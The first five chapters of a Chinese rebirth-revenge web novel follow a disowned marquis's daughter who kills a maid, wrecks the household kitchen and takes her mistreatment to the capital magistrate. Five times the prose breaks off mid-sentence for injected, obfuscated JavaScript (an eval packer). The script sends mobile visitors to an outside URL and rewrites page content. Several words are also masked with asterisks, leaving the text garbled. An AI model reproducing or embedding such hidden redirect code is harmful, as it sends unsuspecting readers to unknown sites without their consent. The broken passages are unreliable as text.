《两眼一睁就是杀,都重生了磨叽啥》
第1章 重生第一杀
她再也不欠晏家什么了。
这是晏逐星临死前,最后一个念头。
“对不住,是我任性连累了你。”
她隐约听到有人在给她道歉,还带了一声叹息。
谁会因为她的死而伤心呢?
她只是一个鸠占鹊巢的假千金,霸占了爹娘兄长对小妹的宠爱多年。
害得妹妹在外边吃了那么久的苦头。
她这种罪人之女,根本就不配活在这个世界上。
而今死在这战场上,也算救了一方百姓,甚好。
她感觉她已经飘了很久很久。
嗯?
怎么黑白无常还没有来接她。
再睁开眼,晏逐星发现自己的魂魄竟然飘回了侯府。
想必是她执念太深,无**回,所以才回到了这里。
“夫人,大小姐这死还真不亏。既给二少爷挣到了一个爵位,又让皇上感念她的功劳,给二小姐赐了婚,让二小姐成了王妃。”
母亲温如霜的贴身嬷嬷李氏正眉飞色舞的为她的死而喝彩。
“一门双侯,还出了一个王妃,以后啊,夫人您就是这京城里最令人羡慕的人了。”
“确实死得其所。”温如霜微微一笑。
“也不枉我当年在街上见她活泼可爱,带回家中,养了这么多年。”
她从箱子里翻出了一个婴孩戴的金镯子,摆在面前晃了晃。
“看在她给侯府挣了这么多荣耀的份上,我便将她幼时贴身之物随着她一块下葬吧。说不定死后她还能在地下遇见她的亲生父母。”
“夫人慈悲。”李氏在一旁继续吹捧。
晏逐星魂魄一震。
什么意思?
不是说她出生就被接生婆故意调换的吗。
怎么听母亲的意思,她是被她故意带回来的?
“母亲,晏逐星的尸体怎么处理啊?真的要让她进咱们晏家的祖坟吗?”这时,她的二哥晏明修跑了进来。
“她又不是咱们晏家的孩子,凭什么进祖坟。”
“明月这几日总是睡不好,说一闭眼睛就能梦到晏逐星血淋淋的来吓唬她。”
“咱们还是请个大师把她的魂魄打碎了吧,这样她便不敢再来纠缠了。”
晏逐星不可思议地瞪大了眼睛。
她的二哥,竟然是这样阴狠的小人。
她的死给他挣来了一个侯爵之位。
他不愿给她一个体面的葬礼就算了,竟然还要把她打得魂飞魄散,不能轮回?
她攥紧了拳头。
“诶,二弟此言差矣。”大哥晏明远也来了。
“晏逐星虽**,但她生前容貌生得那般好,被不少男人惦记过。尤其是陆太傅前天死的那个孙子,我听说,对她一直颇有好感。”
“不如找陆太傅聊聊,让她跟陆池那小子,成冥婚。这样咱们家,也算和太傅搭上关系了。”
晏逐星魂魄颤抖了起来。
她都**,他们还不放过她,甚至还要再将她压榨一次?
要把她最后一滴价值给利用光才肯罢休?
“嗯。听你们的。记住,一定不能触怒了皇上。毕竟,她保住了永安王的全尸,乃是功臣。”温如霜点头同意了儿子的提议。
晏逐星听不下去了,她驱使着自己的魂魄飘到了二妹妹,晏家真千金晏明月的屋子里。
晏明月正对着镜子梳妆。
小丫鬟替她梳头,一脸担忧:“二小姐,万一二少爷没请到大师怎么办。大小姐日日入梦纠缠您,可如何是好?”
晏明月冷笑一声:“她活着便斗不过我,**我还会怕吗?她压根就没有进到过我的梦里。”
“我只不过想让二哥把她打得魂飞魄散罢了。”
无耻!
晏逐星再也压抑不住自己心中的愤恨,扑向了晏明月。
然而却从她的身上直直地穿了过去。
晏逐星这才意识到,她**。
她根本没办法对晏明月做什么。
她好恨,她不甘心,她怎么能因为这一家子狼心狗肺的人死去。
如果能重来一世,她一定要让他们付出代价。
把他们全都杀了。
让他们也尝一尝她临死前被万箭穿心的痛苦。
她要向他们索命,一个都别想跑。
……
“大小姐,你还愣着做什么。你弄脏了我家小姐的衣裳,大少爷罚你亲自洗干净,你还敢偷懒?”
一个刺耳的声音从头顶传来。
晏逐星睁开眼睛,盯着面前放着脏衣服的木盆,又看了一眼自己被冻得通红的手指。
随后抬头一看,指着她鼻子怒骂的人正是晏明月的丫鬟茉儿。
晏逐星腹中一阵绞痛。
她想起来了。
这是她刚来月事的那日,她给晏明月让了位置,结果将血弄到了晏明月的裙子上。
晏明月委屈不已,嚎啕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497745|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大哭。
晏明远罚她用手将衣裳洗干净。
这可是寒冬腊月,外边还飘着雪花。
她就用这盆冰水来给晏明月洗衣裳,后来落得了个一来月事就腹痛的毛病。
军医给她把脉,说她寒气入体,日后再难有孕。
所以……
是阎王爷听到了她心中当时说的话,特意将她送回来,让她了却心愿,将这些虚伪之徒都杀干净吗?
“你是不是不想洗了?你信不信我去告诉大少爷。到时候,罚你把瑶华院上上下下的衣裳都洗一遍。”茉儿居高临下地看着她。
谁都知道,大小姐不得府中主子的喜爱,被人欺负了也不会吭声,就是个软蛋怂包。
所以她最喜欢干这个惩罚大小姐的任务了。
下一刻,她忽然感觉自己喘不过气来了。
她定睛一看,发现原本还蹲在地上发呆的晏逐星猛地站了起来。
而那双被冰水浸泡过后带着寒气的手,正落在她的脖子上。
“可以呀,如果你有命去告诉他的话。”晏逐星面无表情地开口。
茉儿像是见了鬼一般,惊恐地瞪大了双眼。
“大、小、姐,你……就……不怕……”
她话还没说完,就被晏逐星拧断了脖子。
“你也知道我还是大小姐啊。你区区一个丫鬟,杀了便杀了,有什么好怕的。”
晏逐星微微一笑,松开了手,看着她的尸体软软地倒在了地上。
她把丫鬟的脑袋浸泡到了盆里,用晏明月的衣裳将她脖子紧紧缠绕住。
她将雪撒到了水盆里。
不一会儿,那盆水便结成了冰,将茉儿的脑袋牢牢冻在了里边。
这个丫鬟是晏明月的打手,已经替她欺负过她无数回。
因此杀了她,晏逐星没有任何心理负担。
上辈子,她在战场杀的人,多了去了。
更何况,老天爷给了她重活一次的机会,她若不为自己报仇,那岂不是浪费了老天爷的美意。
晏逐星面无表情地往晏明月的院子里走去。
晏明月害她,该死。
温如霜骗她,也该死。
晏明远和晏明修兄弟俩,一个想用她尸骨配冥婚,一个想将她打得魂飞魄散,更是该被千刀万剐。
她要把他们都杀了。
愤怒支配着她一步一步往前走。
走到一半,她忽然停下了脚步。
第2章 吃饱了,才有力气**
腹中饥肠辘辘,冷风似刀刮破她单薄的衣裳,往她皮肤里钻,冷得她打了个哆嗦。
她的脚步也变得有些轻飘无力。
晏逐星想了想,调转了方向。
她没有去找晏明月,而是去了大厨房。
她饿了,要吃饭。
吃饱了,才有力气**。
……
晏逐星刚跨进厨房院门,鸡汤的鲜香就裹着米饭的热气钻进了鼻腔。
灶台前切菜声戛然而止,七八双眼睛望了过来。
“大小姐来这做什么?难不成要抢了丫鬟给二小姐送饭的活计?”厨房的管事周妈妈甩着帕子嗤笑。
“饭做好了吗?”晏逐星盯着咕嘟冒泡的砂锅,喉头滚动两下。
灶上煨着整只老母鸡,汤面上浮着参须红枣和枸杞,油亮亮的,闻起来比她上辈子在军营啃的树皮草根香百倍。
“好没好跟你有什么关系。”周妈妈嗤笑一声。
“叫你一声大小姐,还真把自己当根葱了啊?去去去,赶紧走,别耽误了我们给府里的主子做饭。万一饿着二小姐了,你担得起这个责任么。”
侯府里众人皆知。
大小姐空有名头,实际上连个屁都不是。
夫人的心头宝只有二小姐晏明月一人。
“我要吃饭。”晏逐星平静地开口。
“山珍海味也是喂人的,您配么?”周妈妈满脸嘲弄,“等主子们用完膳,泔水桶里给您留两口热乎的!”
满屋哄笑再次炸开。
晏逐星径直往灶台走去,一把推开了正在烧火的小丫头。
她从灶台里抽了一根带着火星子的柴火棍,直接往周妈妈身上招呼。
“你想干什……”
“么”字还没说出口,周妈妈就被烫得一蹦三尺高,发出了凄厉的惨叫。
火星子“噼里啪啦”炸在周妈妈的衣裳上,烫出个焦黑的窟窿,她身上的皮肉似乎都被烫得绽开了。
他们齐齐都傻了眼。
这还是那个打不还手骂不还口的窝囊废大小姐么。
“愣着干嘛,还不赶紧把她捉起来送去夫人面前问罪!”厨房的二把手,周妈妈的头号狗腿子孙鼎抡起菜刀号召众人往前冲。
一时间厨房里洗菜的切菜的端菜的都冲晏逐星围了上去,想要把她捉去**行赏。
晏逐星二话不说又抽了一个新的烧到一半的柴棍出来。
双手交替挥舞着,快得像是风火轮。
柴棍上还带着火,她下手快准狠,招招都是搏命的架势。
这都是上一辈子在军营里练出来的。
虽然这具身子还不像五年后那么厉害,但她自小力气就比旁**,所以打这些没有练过的下人绰绰有余。
周妈妈瞧见众人碍于晏逐星手里的烧火棍不敢上前,当即嚷嚷道:“傻了吗,你们也拿烧火棍打她呀!”
有眼力见的小厮丫鬟们赶紧捡起了柴火棍子想要去打晏逐星。
“不让我吃饭是吧,那就都别吃了!”
晏逐星一脚踢翻了灶台上的老母鸡汤,砂锅飞起,热汤滚出,烫到了抡着菜刀冲过来的孙鼎。
孙鼎发出了杀猪般的惨叫,他手里的菜刀滑落,正好砍到了自己的脚面上。
他又一次发出了尖叫。
紧随其后的小厮们也被烫得抱脚乱跳。
带着油星子的鸡汤洒落在地,一些脚滑的小厮摔了个四脚朝天。
晏逐星旋身躲过扫来的木棍,肘击撞飞了一个胖厨娘。
手中的烧火棍断了,她抄起案板上的擀面杖砸得上前的丫鬟鼻血横流。
“反了天了!”周妈妈大叫着冲过来。
晏逐星直接把蒸笼扣到了她的脑袋上。
随后把厨房里的锅碗瓢盆“乒乒乓乓”砸了个稀巴烂。
一时间,整个厨房只剩下了此起彼伏的哀嚎和锅碗碎裂的声音。
“疯了,你真是疯了。”
周妈妈退后几步,目瞪口呆。
众人再也不敢上前招惹这位发疯了的大小姐,躲在角落里的丫鬟小环受伤最轻,她慌慌张张地跑去找二小姐告状。
晏逐星有些懊恼。
砸的时候忘了给自己留个碗了。
她仔细翻找,从地上捡了一个带着八分完整,带着豁口的碗,把木桶里残存的米
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497746|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
饭盛到了碗里。
又将砂锅里还剩了一点的鸡汤倒了进来,做成了鸡汤拌饭。
她端着碗,拿躺在地上东歪西扭的下人当下饭菜,看着他们的惨状一口一口把这碗鸡汤拌饭吃完了。
嗯,真香。
……
“什么?”
晏明月听完小环的话,不可思议地瞪大了眼睛。
“你说姐姐对你们做了什么?”
那个大闹厨房的人,真的是晏逐星么。
怎么和她印象里的完全不一样。
小环卷起袖管露出烫红的手臂,哭哭啼啼道:“奴婢亲眼见大小姐举着烧红的柴火,周妈妈手心后背都被烫烂了!”
晏明月吓了一跳,当即用帕子捂住嘴,眼圈说红就红。
“姐姐怎么会做这样的事情,莫不是疯了?”
说完,她又道:“茉儿,快给小环拿些伤药来。”
喊完她才反应过来,茉儿不是去监督晏逐星洗衣裳了吗。
晏逐星怎么去了大厨房?
茉儿呢?
一肚子的疑惑,她重新唤了另一个丫鬟给小环上药。
小环感动得两眼泪汪汪。
二小姐真好,比大小姐那个疯子好多了,这样的人才该是他们侯府的千金。
晏明月想了想,命丫鬟蔓儿去看看茉儿如何了,自己则领着小环去了主院。
正厅里。
温如霜拨弄着算盘珠子,抬头就见小女儿蝴蝶似的扑进怀里。
“娘!姐姐把厨房砸了,说要烧死所有人!她不会疯了吧?”晏明月一脸担忧。
“胡说八道。”温如霜撂下狼毫笔。
晏逐星可是她从小看着长大的,那性子被她养得唯命是从,怎么可能做出这样的事情。
晏明月给了小环一个眼神。
小环当即会意,将大厨房里发生的事情添油加醋地说了出来。
温如霜眉头微微皱起。
她不信晏逐星那么大胆,但这丫鬟身上的伤痕又做不得假。
是真是假,一探便知。
于是她领着几个护卫,去了大厨房。
没想到,才走到半路,就被人拦住了。
第3章 动心了
“夫人,二小姐,茉儿她、她**。”
先前被晏明月派去找人的丫鬟蔓儿脸色煞白地跪在了两人面前。
“什么?”晏明月错愕之余又有些烦躁。
她的掌心瞬间收紧。
今日发生的种种,莫名让她有一种失控的感觉。
她挽着母亲的胳膊,眼泪啪嗒落下。
“娘,茉儿先前帮着姐姐在洗衣裳,怎么会不明不白的就**呢?姐姐还去砸了厨房,打伤了那么多人,莫不是她得了疯病,先杀了茉儿,又要害死别人?”
一席话,直接将**的罪名扣在了晏逐星身上。
温如霜的脸色愈发不好看了。
“茉儿**的?”她盯着蔓儿询问。
蔓儿回忆着先前看到的场景:“奴婢不知,只瞧见了她的脑袋扣在洗衣盆里,被水冻起来了。”
早上还一起笑着讨论帕子要绣什么花样的小姐妹,如今成了一具冰冷的尸首。
她瑟瑟发抖。
“先去大厨房。”温如霜果断下了决定。
茉儿之死与大厨房的变故都和晏逐星有关。
那就先去见她。
看看她究竟发的什么疯。
……
他们抵达大厨房的时候,晏逐星正在烤火。
自打上辈子身子骨受损后,她就格外怕冷。
即便如今身子还有挽救的余地,但她也还是觉得冷。
天冷,心更冷。
看着并肩而立的温如霜母女,晏逐星身体里被压制的恨意四处流窜。
从血液中渗透到了骨缝里。
她真想像掐死茉儿一样,掐死这两母女啊。
不过这样不划算。
饥饿被填平后,晏逐星的脑子也清醒多了。
若是就这样杀了她们母女俩,肯定会被抓起来蹲大牢。
到时候岂不是便宜了晏明修和晏明远两个畜生。
“星儿,你疯了吗?这,这是怎么一回事。”温如霜看着一片狼藉的厨房,错愕不已。
看到她,周妈妈连滚带爬扑了过去。
她的发髻歪斜着挂了几片菜叶,眼泪鼻涕糊得满脸都是。
她扯着嗓子哀嚎道:“夫人,您要替我们做主啊。”
随后她便把晏逐星来到厨房之后干的事情,一一说了出来。
其他的下人也像看到了主心骨似的,纷纷告状。
温如霜脑海瞬间闪过和晏明月一样的念头。
晏逐星疯了吧。
她怎么敢的。
“星儿,你可有什么话要说?”温如霜端着侯府主母的架子,板着脸看向晏逐星。
晏逐星很平静:“我饿了,想吃饭,这些刁奴不让我吃。我乃侯府大小姐,惩治恶奴,有问题吗。母、亲。”
最后那声母亲,温如霜不知为何,硬生生地听出了一丝杀意。
眼前的人明明还是平日里的打扮,看起来没有什么变化。
只是那一双眼睛看起来像棺椁里挖出来的陪葬玉,浸着墓穴里的阴气,让她无端打了个寒噤。
“那茉儿呢,茉儿什么都没做错,你为什么要害死她?”晏明月见娘亲被她问住了,赶忙提起了这件事,想要彻底坐实晏逐星**的名声。
晏逐星淡淡道:“我知道你一直记恨我霸占了你晏家大小姐的位置,但你也不能空口造谣我杀了人啊。”
晏明月一愣,没想到她竟然转移话题。
她扭头看向一旁的温如霜,哭得梨花带雨:“娘,我从未记恨过姐姐,更没有造谣。我只是想还茉儿一个公道。”
温如霜看着亲女儿掉眼泪,心疼不已,赶忙拍了拍她的手背以示安慰,随后遣散了下人,单独呵斥晏逐星。
“你霸占了你妹妹的千金小姐位置数十年,好不容易我们把她找回来了,你凭什么凶她。”
“你在晏家锦衣玉食的时候,她可是在外受尽苦楚。你一辈子最对不起的人就是她。”
“为了保全你的名声,我们只能对外宣称她是你同胞妹妹,当初生下来身子骨不好送到了倾城山上养着。”
“侯府为了你,让步了那么多,你妹妹为了你,受了那么多委屈,你怎么能这样对你妹妹。”
“星儿,给你妹妹道歉。”
晏逐星只觉得可笑至极。
上辈子,她竟然就是被这些话日复一日的洗脑,相信了是她亏欠的晏明月。
她霸占了晏明月的千金小姐之位,她害得她受了苦,她就应该一辈子做牛做马地补偿晏明月。
侯府留下她,让她继续当大小姐,她应该对他们感恩戴德一辈子。
可她明明是被温如霜拐带回家的。
侯府上下都在骗她。
晏逐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497747|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
星冷笑一声,一字一句道:“不道歉的话,你们要送我去见官吗?”
她脑海里飞速谋划着接下来的事情。
上辈子她就听说过京兆尹裴明镜。
此人从不结党营私,是出了名的公正严明和善良。
京城里那些达官贵人的面子,他谁都不给,依旧我行我素,律法该怎么判就怎么判。
谁让他是太后娘家唯一的独苗苗,太后宠他胜过皇室子弟。
借助裴明镜,她定然可以撕下侯府众人伪善的面皮,让他们狠狠栽一个跟头。
顺便,给自己求一道护身符。
“你翅膀硬了是吧?你是非要把我这个当娘的气死吗?我怎么就养了你这个不孝女,早知当初,就该把你溺死。”温如霜第一次被晏逐星忤逆,气得浑身发颤。
“你这不是没死么。”晏逐星做鬼的时候知道了真相,自然不会再为她的话感到伤心。
“你,你,你……”温如霜经受不住这个刺激,当场被她的话气晕了过去。
晏逐星觉得十分可笑。
原来温如霜这么脆弱啊。
她对她说过那么多难听的话,怎么她只回了一句她就受不了了。
“姐姐,你把娘亲气晕,你大不孝!等爹爹和大哥二哥回来,他们不会饶过你的。”晏明月没想到晏逐星今天竟然像个疯狗,逮谁咬谁。
一点都不带怕的。
她这是被鬼上身了么?
“对啊,我气晕她,你有本事把我送去京兆尹坐大牢呗。”晏逐星故意刺激她。
坐牢?
晏明月动心了。
若是晏逐星入了大狱,那她这一辈子就彻底毁了,再也别想有翻身的那一天,她将永远被她踩在她脚底下。
想到这,晏明月果断下令:“打杀奴婢,不敬母亲。来人,将晏逐星押送至京兆府,还茉儿一个公道!”
……
晏逐星被押送至京兆府时,永安王谢翊宁在一阵剧痛中惊醒。
他下意识地捂住了心口。
他梦到战场上,万箭齐发。
一个女子护住了他,以肉身为盾牌,挡住了那些箭。
只是最后一箭劲道骇人,如白虹贯日,生生穿透两人心口。
他只来得及和对方说了一句“对不住,是我任性连累了你。”就彻底没了呼吸。
第4章 侯府的脸面,全被他给弄丢了
“王爷,您醒了?东宫传来喜讯,太子妃诞下了小郡主。”
门外传来贴身护卫停云的报喜声。
“小郡主?”谢翊宁猛地一顿。
梦里,好像太子妃嫂嫂诞下的正是小郡主,父皇很是高兴,给其赐名令仪。
他忍不住追问:“父皇可曾给她赐名?”
“取了,名唤令仪。”
这名字和他梦里的一模一样!
谢翊宁反应了过来,那或许不是一场梦,而是真实发生的事情,他幸运地重新活过来了。
他当即把停云叫了进来,吩咐道:“速速命人去边关霍家军查探,军中可有女扮男装的将士。”
停云:?
不理解,但听话照办。
“是。”
……
晏逐星被侯府管家带着下人押送到了京兆府。
晏明月打定了主意想让晏逐星丢人,临行前给了管家暗示,让他们无需避讳,任意散播晏逐星**,气晕母亲的事情。
一路上,众人议论纷纷。
“这侯府大小姐可真是上不得台面,比不得二小姐半分。”
“我看她给二小姐提鞋都不配,那丫鬟看着都比她像个主子。”
“又是**,又是气晕母亲,侯府怎么就出了这么个畜生。”
面对他们的议论,晏逐星面不改色,充耳不闻。
到了京兆府,管家林平扑通跪倒在地,声泪俱下地开始控诉晏逐星的罪名。
大虞律法规定,若奴婢有罪,主人未经官府审判直接杀死:杖刑一百。若奴婢无罪,主人故意杀害:徒刑一年。
裴明镜听完看向晏逐星。
“晏大小姐,你可有什么要辩驳?”
晏逐星一直低着头在酝酿情绪。
她终于等到裴明镜叫她。
她抬起头,眼睛红红:“我并未**,反倒是他们想要杀了我。”
“胡说八道,你可是侯府大小姐,谁敢杀你!”林平当即否认。
晏逐星直接卷起了袖子。
在场的人瞧着都倒吸一口凉气。
那双白皙纤细的手臂,满是青青紫紫的伤痕。
“他们是不敢杀我,但他们寒冬腊月里让我洗衣裳,不给我饭吃,还掐我打我,这和杀了我有什么区别。”晏逐星扑通跪到地上。
“求大人替我做主。”
她在侯府不受待见,下人们都欺负她,她不是没告过状,但温如霜只是轻描淡写地批评那些下人几句,根本没有认真惩罚他们。
于是那些下人愈发猖狂,根本不拿她当正经的主子。
三天两头骂她,饿她更是家常便饭,有时候心气不顺了,他们还会掐她打她。
她胳膊上背上都是伤痕。
她没有哭出声,只是默默地流眼泪。
“我不明白,同样都是母亲的女儿,为什么妹妹锦衣玉食,冬日里有狐裘,银丝炭。而我住在漏风的院子里,穿着下人都不稀罕的旧棉袄。我只是把疑问说出来,母亲便晕了过去,这也能怪我吗?”
“我连饭都吃不饱,我怎么**?下人打我骂我,我连还口都不敢,我怎么**?”
晏逐星的声音并不大,但每一句话却像一个小锤重重砸在旁人的心上。
侯府的下人脸色全变了。
裴明镜的目光落在了她破旧的外衫上,这哈气成霜的日子,一个姑娘家,穿得比他还少。
看来这定远侯府的腌臜事情比他想象的还要多啊。
“这,夫人有命人给你做衣裳,是你自己不穿,非要给二小姐的。”林平结结巴巴地辩解。
“你这是故意穿的少,想要博取大人的同情!”
“你说是就是吧。”晏逐星再次低下了头。
之前的她,因为觉得对晏明月愧疚,所有的新衣裳都给了晏明月。
而她一直在捡晏明月不要了的衣裳穿,甚至到最后,只能捡丫鬟的衣裳穿了。
反正她从不出侯府,旁人来做客,温如霜也总是让她称病不见人。
因而许多人都不知道定远侯府大小姐是什么模样,只知道侯府有个才艺双绝的二小姐。
裴明镜站在高堂上,看不清她的脸,只看到她的眼泪如同断了线的珠子一般滴答滴答地落在了公堂之上。
先前那些辱骂晏逐星的百姓,见她这么惨,不由又同情起她来。
“这侯府大小姐怎么过得连我家妞妞都不如,我家妞妞过年还能得一套新衣裳呢。这大小姐怎么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497748|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
穿成这样。”
“就是啊,定远侯府也太抠门了吧。虽说大小姐愚钝讨人嫌,但总该让人吃饱饭才是吧。”
听着百姓们的议论,林平脸色发白。
糟了糟了,这次彻底把事情给搞砸了。
侯府的脸面,全被他给弄丢了。
眼前浮现起侯爷那张铁青的脸,他腿肚子直抽筋,数九寒天的,他背后竟然被冷汗给打湿了。
“那丫鬟的尸体呢?”裴明镜并没有因为晏逐星看着可怜,就跳过了这一遭。
“在侯府里。”林平颤颤巍巍地回答。
裴明镜当即命人去侯府验尸。
仵作到了侯府,发现茉儿整个脑袋连着脖子全都被冻住了,一时间有些为难。
只得检查她身上其他地方有无受伤的痕迹。
看了一圈,发现并没有外伤,死前也不像有剧烈挣扎过的痕迹。
他想了想,开口道:“你们把尸首抬回京兆府,等这盆水化了,再细细检查。”
侯府下人不想干这种搬运**的活计,但官爷都发话了,他们只得应下,将人连盆一块搬出侯府。
结果刚到大街上,身后就“扑通”一声响。
仵作一回头,就看到了一个脑袋咕噜咕噜地冲她滚了过来。
而脑袋的主人,正是被冻成冰块的茉儿。
她的身体,还在后边。
在场的人都被身体和脑袋分离的尸体吓了一跳。
“你们怎么搞的。”领头的衙役怒声呵斥。
抬尸体的下人赶忙解释:“太滑了,我们没抓住,抬起来的时候手一抖,她就摔到地上去了。”
“没错没错,就是这样的。”另一个人连忙附和。
他们俩欲哭无泪,茉儿晚上不会来找他们算账吧?
他们竟然害得她死无全尸。
仵作只得现场去看头颈分离的伤口,发现并没有别的伤痕,他皱了皱眉头,让人替茉儿收敛尸体,而后回京兆府复命。
“那位丫鬟,估计是洗衣裳时脚滑了,不小心栽到盆里,窒息而亡的。”
晏逐星听到这个结果,暗暗松了一口气。
但她不敢表现出来。
因为裴明镜正静静地盯着她,目光如炬。
第5章 戏演过了,可就不好看了
耳边传来脚步声。
裴明镜一步一步逼近她,晏逐星的心几乎要从嗓子眼跳出来了。
脚步声停止,晏逐星只看到了一双青黑色官靴停在眼前。
“是真是假,总要亲眼看过才知道。本官要亲自去一趟定远侯府。晏大小姐,带路吧。”
裴明镜淡定的声音传来,晏逐星点头起身。
不料起得太猛,有些头晕,差点一个踉跄栽倒在地,幸好裴明镜眼疾手快地搀扶了她一把。
待她站稳,裴明镜便飞快松开了手。
晏逐星行礼:“多谢大人。”
裴明镜眸光落在她纤细的手腕上,点了点头。
这手,的确很冷。
一旁的管家林平已经吓得说不出话来。
裴大人要去侯府,这事可真是闹大了!
他给心腹使眼色,想要让人快点回去将此事告知夫人,不曾想,裴明镜却抢先一步,让下属其他人留下。
只让晏逐星领着他去侯府。
走出京兆府,一个丫鬟捧着一件碧色披风跑了过来。
“大少爷,您要的披风。”
裴明镜冲晏逐星的方向使了个眼色。
丫鬟一愣,随后抖了抖披风,将披风替晏逐星给穿上了。
披风领口镶着白绒绒的兔毛,衬得晏逐星脸色愈发的白了。
“这是我堂妹的披风。”裴明镜解释了一句。
晏逐星摸着披风上的如意绦子,轻声道:“多谢大人。”
裴大人真是个好官啊。
怕她被冻死,又顾及她的名节,特意命家里人送了一件女子的披风来。
身体的暖意从心头涌起,流向四肢百骸,暖得她有些想掉眼泪。
这是她重活一世回来,收到的第一份善意。
她会好好铭记。
……
停云命人快马加鞭去了边关后,而回了王府,忍不住把先前路过京兆府的事情说了出来。
“王爷,今个遇上了一件稀奇事。”
“哦?什么事?”谢翊宁懒洋洋地开口。
“定远侯竟然**嫡女,晏大小姐过得连咱们王府的丫鬟都不如。”他把晏逐星和侯府管家对簿公堂的事情说了一遍。
这事在京中已经传开,闹得是沸沸扬扬。
谢翊宁眉头皱了起来。
上辈子,好像并无此事。
他一下又不确定了。
他那到底是做梦了,还是重生。
又或者是,他的重生让很多事情都发生了变化。
他提笔在纸上写下了“定远侯”三个大字。
放下笔,他做出了决定,今夜要亲自去定远侯府探一探。
……
晏逐星将裴明镜带到了定远侯府。
侯府里下人顿时乱套了。
大小姐怎么没被关起来,反而还领着京兆府那位皇上见了都头疼的裴大人回来。
晏明月咬着唇,一时间不知道该如何是好。
“你糊涂啊!”温如霜醒来,得知女儿竟然把晏逐星送去了京兆府,差点没气得又晕过去。
“一荣俱荣,一损俱损。为什么一直没对外声张晏逐星的**,那都是为了侯府的名声。她与你是姐妹,她若下了大牢,你还能和好人家结亲么。”
晏明月被她训得眼泪汪汪。
她当时光想着让晏逐星丢脸,根本没考虑那么多。
“娘亲,我知错了,我只是想吓唬吓唬姐姐,让她给茉儿道歉,我没想到会变成这样的。”她哽咽着替自己辩解。
温如霜看着哭得一塌糊涂的女儿,只能强撑着身子起来去收拾这个烂摊子。
得知晏逐星将裴明镜领去了她住的院子,温如霜加快了脚步。
完了,这下她苦心经营多年的慈母名声,要不保了。
“裴大人,这就是我住的院子。”晏逐星指着漏风的院子给裴明镜一行人介绍了起来。
这下不止是裴明镜,跟着他的那些衙役都露出了惊讶的表情。
这院墙歪斜得快要垮塌,半扇门板耷拉着露出拳头宽的缝,其中一扇糊窗的纱早就破成了烂布条,风一吹就哗啦啦作响。
让人难以置信,富丽堂皇的侯府里,竟然还有这么一处格格不入的地方。
晏逐星不语,只是带着他们进去走了一圈。
当初晏明月被找回来后,在温如霜等人的洗脑下,她觉得十分愧疚。
将自己的院子让给了晏明月,自己搬去了一个小院子。
但晏明月还不满足,总是在她面前哭诉自己之前过得有多不好,她住的地方有多么破。
晏明月每哭一次,定远侯夫妻和两个哥哥看她的表情就越厌恶。
她不明白为什么疼爱她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497749|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
十年的爹娘兄长,一夜之间就变了。
于是她想尽办法讨他们的欢心。
她提出想要体验一下晏明月曾经的生活,这样大家都吃过一样的苦,就公平了。
侯府众人欣然答应,让她搬到了这个荒废的院子。
这原本是老侯爷的一个妾侍住的。
后来那个妾侍疯了,这个院子就渐渐荒凉了。
当初说好只体验一个月,但后来谁也不提让她搬回去的事情,在这个破烂的院子一住就是四年多。
“这破地方能住人?”走在最后面的年轻衙役嘟囔出声,被同伴捅了一肘子。
赶来的温如霜听到这话,脸色白得更难看了。
